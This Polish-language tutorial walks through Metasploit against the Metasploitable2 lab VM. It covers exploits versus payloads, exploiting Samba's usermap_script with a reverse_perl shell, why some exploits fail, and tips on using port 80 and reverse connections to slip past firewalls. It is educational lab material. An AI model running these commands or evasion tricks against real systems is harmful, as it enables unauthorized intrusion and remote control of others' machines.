Exploit i payload, czyli Metasploit „całą gębą”
Spis treści
W tym materiale zajmiemy się bardziej rozbudowanymi sposobami dostępu do urządzenia, niż robiliśmy to w poprzednich dwóch artykułach. Tak naprawdę temat rozpocząłem w pierwszym artykule Metasploit - czym jest i jak z niego korzystać, gdzie wykorzystaliśmy exploita do uruchomionej usługi programu. Teraz zajmiemy się bardziej szczegółowo tym zagadnieniem, jak również dowiemy się, czym jest payload.
Czym różni się exploit od payloada
Dowiedzieliśmy się już, że exploity wykorzystują luki w systemie, aby dostać się do urządzenia. Natomiast payload jest to kod, który infekuje dany system/dystrybucję po dostaniu się do środka przy pomocy luki systemowej, czyli exploita. To dzięki payloadowi jesteśmy w stanie zrobić coś więcej, niż tylko połączyć się z urządzeniem.
Uzyskujemy dostęp dzięki Sambie
Samba to darmowy program, dzięki któremu możemy udostępniać pliki oraz drukarki. Wymienione oprogramowanie jest dość często wykorzystywanym narzędziem, ponieważ daje możliwość współdzielenia wymienionych zasobów pomiędzy różnymi platformami, systemami czy też dystrybucjami. W naszej dystrybucji Metasploitable2, razem ze startem, usługa programu jest uruchamiana automatycznie. W związku z tym pokażę Wam, w jaki sposób wykorzystać exploita oraz payloada, aby otrzymać całkowity dostęp do dystrybucji.
Wyszukiwanie odpowiedniego exploita
Możemy skorzystać z internetu i poszukać gotowego rozwiązania. Jednak ja wolę pokazać Wam rozwiązanie na pierwszy rzut oka trudniejsze, ale bardzo często przydatne. Rozmawialiśmy o tym ostatnim razem. Dlatego w uruchomionym programie Metasploit wpiszmy polecenie wyszukiwania w następujący sposób:
search type:exploit samba
Jako wynik otrzymamy listę składającą się z 70 pozycji. Wspominałem już, że osobiście na samym początku odrzucam wszystkie pozycje niedotyczące systemu, do którego chcemy się dostać, oraz wszystkie niemające w swojej nazwie nazwy usługi, z której chcemy skorzystać. W ten sposób nasza lista skróci się i pozostanie na niej tylko kilka pozycji:
13 exploit/multi/samba/usermap_script 2007-05-14 excellent No Samba "username map script" Command Execution
14 exploit/multi/samba/nttrans 2003-04-07 average No Samba 2.2.2 - 2.2.6 nttrans Buffer Overflow
15 exploit/linux/samba/setinfopolicy_heap 2012-04-10 normal Yes Samba SetInformationPolicy AuditEventsInfo Heap Overflow
22 exploit/linux/samba/chain_reply 2010-06-16 good No Samba chain_reply Memory Corruption (Linux x86)
25 exploit/linux/samba/is_known_pipename 2017-03-24 excellent Yes Samba is_known_pipename() Arbitrary Module Load
42 exploit/linux/samba/lsa_transnames_heap 2007-05-14 good Yes Samba lsa_io_trans_names Heap Overflow
62 exploit/linux/samba/trans2open 2003-04-07 great No Samba trans2open Overflow (Linux x86)
Na liście z siedemdziesięciu exploitów pozostało siedem. Wiemy przecież dzięki skanowaniu nmap, że na „serwerze” jest na pewno zainstalowany Linux. Dlatego nie byłoby sensu stosować exploitów dostępnych na inne systemy.
Chciałbym wspomnieć o jeszcze jednej ważnej rzeczy. Otóż mamy dwie kategorie exploitów. Jedne są z kategorii multi, drugie z Linux. Myślę, że ze zrozumieniem nazewnictwa tych drugich nie będziesz miał żadnych problemów, natomiast multi oznacza wieloplatformowość. Czyli exploit może zostać wykorzystany niezależnie od tego, na jakim systemie działa urządzenie.
Użycie i konfiguracja exploita oraz payloada
Zajmijmy się teraz pierwszym exploitem z listy, czyli:
exploit/multi/samba/usermap_script
Mając już wybrany exploit, pozostało aktywować go i skonfigurować. Robiliśmy to już wcześniej, ale tym razem pozwolę sobie na powtórzenie:
use exploit/multi/samba/usermap_script
Wystarczy użyć angielskiego słowa use i mamy wszystko dostępne do konfiguracji. Natomiast chciałbym, abyś zwrócił szczególną uwagę na to, co zostało napisane po wykonaniu polecenia:
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
Dla osób, które nie znają angielskiego:
„Żaden payload nie został skonfigurowany, domyślny cmd/unix/reverse_netcat”
Zobaczmy teraz, jak wyglądają dostępne opcje, które możemy pozmieniać:
Module options (exploit/multi/samba/usermap_script):
Name Current Setting Required Description
---- --------------- -------- -----------
CHOST no The local client address
CPORT no The local client port
Proxies no A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: socks5, http, socks5h, sapni, socks4
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 139 yes The target port (TCP)
Payload options (cmd/unix/reverse_netcat):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 10.0.2.19 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
View the full module info with the info, or info -d command.
RHOSTS i RPORT oraz LHOST i LPORT już znasz. Jak wiesz, w RHOSTS ustawiasz adres IP Twojego celu, natomiast w LHOST swój adres, który służyć będzie do nasłuchiwania. W tym przypadku został on automatycznie przypisany, bo 10.0.2.19 jest to adres IP mojego Kali Linux. W przypadku RPORT ustawiasz port, z jakiego korzysta usługa programu, natomiast w LPORT określasz, z jakim portem payload ma się z Tobą połączyć.
Teraz bardzo ważna uwaga, która dotyczy LPORT. W tym wypadku standardowo ustawiony jest port 4444. Nie jest to nic błędnego, payload nawiąże połączenie z Tobą, ale w razie problemów możesz skorzystać z portu 80, który wykorzystują przeglądarki do komunikacji przy pomocy HTTP.
O tym już wiesz, ale możesz się zastanawiać, po co o tym piszę?
Otóż port 80 nie jest w żaden sposób szyfrowany, stąd też bardzo często jest omijany przy sprawdzaniu pod względem połączeń. Przecież to z niego korzystają przeglądarki. Dlatego dobrym pomysłem jest dokonanie zmiany domyślnego portu na 80.
Czasami jednak może się zdarzyć, że port 80 będzie już wykorzystywany do czegoś innego i nie jesteś w stanie z niego skorzystać. Nawiasem mówiąc, port 80 nie jest jedynym, który może służyć dla protokołu HTTP. Dodatkowo można korzystać z portu 8080 oraz kilku innych, o czym w jednym z materiałów już wspominałem. Dlatego jeżeli okaże się, że nie możesz skorzystać z portu 80, zamień go na 8080 - działanie będzie identyczne.
Konfiguracja exploita
Teraz ustawmy adres IP naszego celu. Robimy to przy pomocy poznanego polecenia:
set RHOSTS 10.0.2.20
Następnie sprawdźmy, czy został ustawiony odpowiedni RPORT. Musi być identyczny z tym, który wskazał nmap:
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
Mamy 139 i 445. Czyli skorzystać możemy albo z jednego, albo z drugiego. Standardowo ustawiony jest 139. My natomiast pobawmy się trochę i zmieńmy ten port na 445:
set RPORT 445
Część związaną z exploitem już skonfigurowaliśmy. Nadeszła pora na dalsze zagadnienia. Teraz zobaczmy, co możemy zrobić z payloadem.
Konfigurujemy payload
Rozmawialiśmy o tym, że program wybrał domyślny payload, z którego możesz skorzystać. On działa, możesz mi wierzyć na słowo lub sprawdzić na własną rękę, wpisując polecenie exploit. Jednak na tym etapie bardziej zależy mi, abyś zapoznał się z możliwością wyboru payloada odpowiedniego do danej sytuacji. Wpisz w konsoli programu Metasploit następującą komendę:
show payloads
Ukaże się dość spora lista możliwości. Przeanalizujmy ją dokładnie. Nie będę wklejał tych prawie pięćdziesięciu pozycji, tylko pozwolę sobie wkleić dwie, nieróżniące się znacznie od siebie:
payload/cmd/unix/bind_perl
payload/cmd/unix/reverse_perl
Payloady wyglądają prawie identycznie. Różnica występuje na samym końcu ich nazwy, a dokładniej: w jednym mamy bind, a w drugim reverse. Jest to istotne, ponieważ w przypadku pierwszych, czyli tzw. bindów, to my łączymy się z komputerem naszego celu, natomiast reverse działają odwrotnie. W tym drugim przypadku to cel łączy się z naszym komputerem, a my mu to tylko umożliwiamy.
Co w tym dziwnego?
Otóż w przypadku sposobu bind prawdopodobieństwo, że się uda, jest znikome. Obecnie każdy firewall zablokuje próbę takiego połączenia lub wyda stosowną informację. Natomiast w przypadku reverse szanse są dość spore. W związku z tym polecam zawsze korzystać z payloadów typu reverse. Masz wtedy większą pewność, że zadziałają. Dopowiem jeszcze tylko, że w przypadku Metasploitable2 zadziałają oba payloady. Natomiast w prawdziwym środowisku nie korzysta się z bind.
Wiemy już, co z czym się je, dlatego teraz użyjmy naszego payloada:
set PAYLOAD payload/cmd/unix/reverse_perl
Zwróć szczególną uwagę na słowo PAYLOAD po poleceniu set. Jeżeli użyjesz samego set, będziesz miał dostęp jedynie do konfiguracji samego payloada, natomiast exploit zostanie usunięty z użycia oraz konfiguracji.
Wpisz ponownie:
show options
Payload options (cmd/unix/reverse_perl):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 10.0.2.19 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Wszystko się zgadza, ale jak wspomniałem wcześniej, dobrą praktyką byłoby zmienić LPORT na 80, dlatego teraz to zrobimy:
set LPORT 80
Powinniśmy mieć już wszystko właściwie skonfigurowane, dlatego sprawdź sobie jeszcze raz, czy tak jest. Gdy się już upewnimy, wpisujemy polecenie exploit lub run.
Po udanym połączeniu pozostaje użyć uname -a i sprawdzić, czy jest to ta maszyna, do której chciałeś się dostać.
Dlaczego nie każdy exploit działa?
Opisałem już dość szczegółowo exploity oraz payloady. Myślę, że masz już sporą wiedzę, a reszty nabierzesz w praktyce. Natomiast w przypadku, gdy będziesz dużo próbował na własną rękę, może okazać się, że nic nie działa, a podobno gdzieś wyczytałeś, że luka występuje. W tym wypadku pozwolę sobie powrócić do informacji, jaką otrzymaliśmy ostatnio, używając nmapa:
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
Widziałeś już to, ale czy zwróciłeś uwagę na wersję Samby wykorzystanej w systemie?
Użyjmy innego exploita:
use exploit/multi/samba/nttrans
Nie będę wklejał zawartości po wpisaniu polecenia show options, dlatego ustaw RHOSTS i wpisz exploit. Powinieneś otrzymać informację:
[*] Started reverse TCP handler on 10.0.2.19:4444
[-] 10.0.2.20:139 - Exploit failed [timeout-expired]: Timeout::Error execution expired
[*] Exploit completed, but no session was created.
Dlaczego tak się stało? Otóż wpisz ponownie show options i zwróć uwagę na sam dół informacji, która Ci wyskoczyła:
Exploit target:
Id Name
-- ----
0 Samba 2.2.x Linux x86
Oznacza to, że exploit może być użyty do wersji 2.2.x, a my przecież używamy wersji 3.x – 4.x. Czyli mamy już winowajcę. Chcieliśmy wykorzystać exploita, ale nie do tej wersji, z której korzystamy. Dlatego on nie działa. Spójrzmy na jeszcze jeden przykład:
use exploit/linux/samba/trans2open
Jeżeli wpiszesz show options, to zerkając na sam dół, powinieneś zauważyć informację:
Exploit target:
Id Name
-- ----
0 Samba 2.2.x – Bruteforce
Jak już wiesz, nadal to nie dotyczy naszej wersji, ale wpiszmy RHOSTS i odpalmy exploita. Otrzymać powinieneś informację:
[*] Started reverse TCP handler on 10.0.2.19:4444
[*] 10.0.2.20:139 - Trying return address 0xbffffdfc...
[-] 10.0.2.20:139 - Exploit aborted due to failure: no-target: This target is not a vulnerable Samba server (Samba 3.0.20-Debian)
[*] Exploit completed, but no session was created.
Oczywiście nawiązanie połączenia zakończyło się niepowodzeniem, ale czy coś przykuło Twoją uwagę?
Pomimo braku nawiązania połączenia otrzymaliśmy bardzo istotną informację. Samba jest w wersji 3.0.20-Debian. Dlatego możemy teraz skorzystać z przeglądarki i poszukać jakichś informacji na ten temat. Świadczy to o tym, że mimo iż exploit nie dotyczył danej wersji, to jednak udało się dzięki niemu uzyskać wartościową informację.
Podsumowanie
Metasploit to genialne narzędzie, szczególnie w początkowej fazie nauki. Pomaga zrozumieć wiele terminów i w pewnym sensie na żywo pokazuje, jak udany atak wygląda. Pozwala również uczyć się pewnych przydatnych schematów. Oczywiście w testowaniu bezpieczeństwa postępowanie schematyczne nie jest tym, na czym głównie powinniśmy się skupiać, ale pozwala wskazać typowe błędy bezpieczeństwa. Dlatego polecam pobawić się tym narzędziem.

